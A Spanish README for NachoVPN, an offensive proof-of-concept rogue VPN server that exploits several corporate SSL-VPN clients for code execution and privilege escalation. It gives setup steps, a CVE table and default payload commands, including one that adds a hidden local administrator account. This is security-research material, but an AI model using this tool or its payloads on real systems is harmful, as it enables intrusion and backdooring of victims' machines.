
Un servidor SSL-VPN delicioso, pero malicioso 🌮
NachoVPN es una Prueba de Concepto que demuestra la explotación de clientes SSL-VPN, utilizando un servidor VPN malicioso.
Utiliza una arquitectura basada en plugins para que la comunidad pueda contribuir con soporte para productos SSL-VPN adicionales. Actualmente admite varios productos VPN corporativos populares, como Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect e Ivanti Connect Secure.
Para obtener más detalles, consulta nuestra entrada de blog y la presentación en HackFest Hollywood 2024 [diapositivas|vídeo].
NachoVPN está construido y probado en Ubuntu 22.04.
Instala python3-nftables y nftables
Opcionalmente, utiliza setcap para evitar el requisito de sudo:
sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
Habilita el reenvío de IP:
sudo sysctl -w net.ipv4.ip_forward=1
NachoVPN puede instalarse desde GitHub utilizando pip. Ten en cuenta que esto requiere que git esté instalado.
Primero, crea un entorno virtual.
En Linux, asegúrate de que el entorno virtual tenga acceso a los site-packages del sistema, para que nftables funcione:
python3 -m venv env --system-site-packages
source env/bin/activate
En Windows, nftables (y por lo tanto el reenvío de paquetes) está deshabilitado, así que utiliza:
python -m venv env
.\env\Scripts\activate
A continuación, instala NachoVPN:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
Si prefieres usar Docker, puedes descargar el contenedor desde el Registro de Contenedores de GitHub:
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
Primero, clona este repositorio e instala setuptools y wheel mediante pip. A continuación, puedes ejecutar el script setup.py:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
Esto generará un archivo wheel en el directorio dist, que se puede instalar con pip:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
Alternativamente, para el desarrollo local puedes instalar el paquete en modo editable utilizando:
pip install -e .
Puedes construir la imagen del contenedor con el siguiente comando:
docker build -t nachovpn:latest .
Para ejecutar el servidor de forma independiente, utiliza:
python -m nachovpn.server
Alternativamente, puedes ejecutar el servidor utilizando Docker:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
Esto generará un certificado para SERVER_FQDN utilizando certbot y lo guardará en el directorio certs, que hemos montado en el contenedor.
Alternativamente, con fines de prueba, puedes omitir la generación del certificado estableciendo la variable de entorno SKIP_CERTBOT.
En su lugar, se generará un certificado autofirmado.
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
También se proporciona un archivo docker-compose de ejemplo para mayor comodidad.
Puedes ejecutar nachovpn con los argumentos de línea de comandos -d o --debug para aumentar la verbosidad del registro, lo que puede ayudar en la depuración.
Alternativamente, si el registro es demasiado ruidoso, puedes usar el argumento de línea de comandos q o --quiet.
NachoVPN admite los siguientes plugins y capacidades:
/pulse en el servidor NachoVPN./sonicwall en el servidor NachoVPN. Esto requiere que el agente de conexión de SonicWall esté instalado en el equipo cliente./delinea en el servidor NachoVPN.NACAgent.exe con un certificado autofirmado. Con fines de prueba, puedes descargar e instalar este certificado CA desde /sonicwall/ca.crt antes de activar el exploit. Para casos de uso en producción, necesitarás obtener un certificado de firma de código válido de una CA pública, firmar tu payload NACAgent.exe y colocarlo en el directorio payloads (o montarlo como volumen en /app/payloads, si usas docker).NACAgent.exe predeterminado para el plugin de SonicWall y se escribe en el directorio payloads. Este simplemente inicia un nuevo proceso cmd.exe en el escritorio del usuario actual, ejecutándose como SYSTEM.Para deshabilitar un plugin, agrégalo a la variable de entorno DISABLED_PLUGINS. Por ejemplo:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
NachoVPN se configura mediante variables de entorno. Esto lo hace fácilmente compatible con despliegues contenerizados.
Variables de entorno globales:
Variables de entorno específicas de los plugins:
Recomendamos las siguientes mitigaciones:
¡Agradecemos las contribuciones! Por favor, abre un issue o envía una Pull Request.
Si estás interesado en desarrollar un nuevo plugin, puedes echar un vistazo al ExamplePlugin para empezar.
NachoVPN está licenciado bajo la licencia MIT. Consulta el archivo LICENSE para obtener más detalles.
| Plugin | Producto | CVE | RCE en Windows | RCE en macOS | Privilegios | Manejador de URI | Captura de paquetes | Demo |
|---|
| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | Windows / macOS |
| SonicWall | SonicWall NetExtender | CVE-2024-29014 | ✅ | ❌ | ✅ | ✅ | ❌ | Windows |
| PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (corrección parcial) | ✅ | ✅ | ✅ | ❌ | ✅ | Windows / macOS / iOS |
| PulseSecure | Ivanti Connect Secure | CVE-2020-8241 (evadido) | ✅ | ✅ | ✅ | ✅ (solo Windows - deshabilitado por defecto en 22.8R1) | ✅ | Windows |
| Netskope | Netskope | CVE-2025-0309 | ✅ | ❌ | ✅ | ❌ | ❌ | Windows |
| Delinea | Manejador de protocolo | CVE-2026-???? | ✅ | ✅ | ❌ | ✅ | ❌ | Windows |
msi_version.txt estén presentes en el directorio downloads. Puedes añadirlos manualmente o ejecutar el script msi_downloader.py para descargarlos.GlobalProtect.msi.old y GlobalProtect64.msi.old estén presentes en la carpeta downloads. Estos archivos deben contener los instaladores MSI sin modificar de una versión anterior a la 6.2.6 (por ejemplo, 6.2.5).| Variable | Descripción | Predeterminado |
|---|
SERVER_FQDN | El nombre de dominio completamente calificado del servidor. | connect.nachovpn.local |
EXTERNAL_IP | La dirección IP externa del servidor. | 127.0.0.1 |
WRITE_PCAP | Si se deben escribir los archivos PCAP capturados en disco. | false |
DISABLED_PLUGINS | Una lista separada por comas de plugins a deshabilitar. | |
USE_DYNAMIC_SERVER_THUMBPRINT | Si se debe calcular dinámicamente la huella digital del certificado del servidor a partir del servidor (útil si se está detrás de un proxy). | false |
SERVER_SHA1_THUMBPRINT | Permite sobrescribir la huella digital SHA1 calculada para el certificado del servidor. | |
SERVER_MD5_THUMBPRINT | Permite sobrescribir la huella digital MD5 calculada para el certificado del servidor. | |
SMB_ENABLED | Habilita el recurso compartido SMB, disponible a través del túnel en \\10.10.0.1\<SMB_SHARE_NAME> | false |
SMB_SHARE_NAME | El nombre que se utilizará para el recurso compartido SMB | SHARE |
SMB_SHARE_PATH | La ruta al directorio que se utilizará para el recurso compartido SMB | smb |
TUNNEL_PRIVATE | Cuando se establece en true, habilita la tunelización pero desactiva el reenvío de Internet para los clientes VPN. Los clientes solo pueden acceder al recurso compartido SMB. | false |
TUNNEL_FULL | Cuando se establece en true, habilita la tunelización completa y permite que los clientes VPN accedan a Internet. También implica TUNNEL_PRIVATE=true. | false |
| Variable | Descripción | Predeterminado |
|---|
VPN_NAME | El nombre del perfil VPN, que se presenta al cliente para Cisco AnyConnect. | NachoVPN |
PULSE_LOGON_SCRIPT | La ruta al script de inicio de sesión de Pulse Secure. | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS | La ruta al script de inicio de sesión de Pulse Secure para macOS. | |
PULSE_DNS_SUFFIX | El sufijo DNS que se utilizará para las conexiones de Pulse Secure. | nachovpn.local |
PULSE_USERNAME | El nombre de usuario que se precargará en el diálogo de inicio de sesión de Pulse Secure. | |
PULSE_SAVE_CONNECTION | Si se debe guardar la conexión de Pulse Secure en el cliente del usuario. | false |
PULSE_ANONYMOUS_AUTH | Si se debe utilizar autenticación anónima para las conexiones de Pulse Secure. Si se establece en true, no se le pedirá al usuario un nombre de usuario o contraseña. | false |
PULSE_HOST_CHECKER_RULES_FILE | Un archivo JSON que contiene una lista de reglas de host-checker basadas en el registro para ICS. Consulta un ejemplo en src/nachovpn/plugins/pulse/test/example_rules.json | |
PALO_ALTO_MSI_ADD_FILE | La ruta a un archivo que se añadirá al MSI del instalador de Palo Alto. | |
PALO_ALTO_MSI_COMMAND | El comando que ejecutará el MSI del instalador de Palo Alto. | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH | Si se debe forzar el parcheo del instalador MSI si ya existe en el directorio de payloads. | false |
PALO_ALTO_PKG_COMMAND | El comando que ejecutará el PKG del instalador de Palo Alto en macOS. | touch /tmp/pwnd |
CISCO_COMMAND_WIN | El comando que ejecutará el script OnConnect.vbs de Cisco AnyConnect en Windows. | calc.exe |
CISCO_COMMAND_MACOS | El comando que ejecutará el script OnConnect.sh de Cisco AnyConnect en macOS. | touch /tmp/pwnd |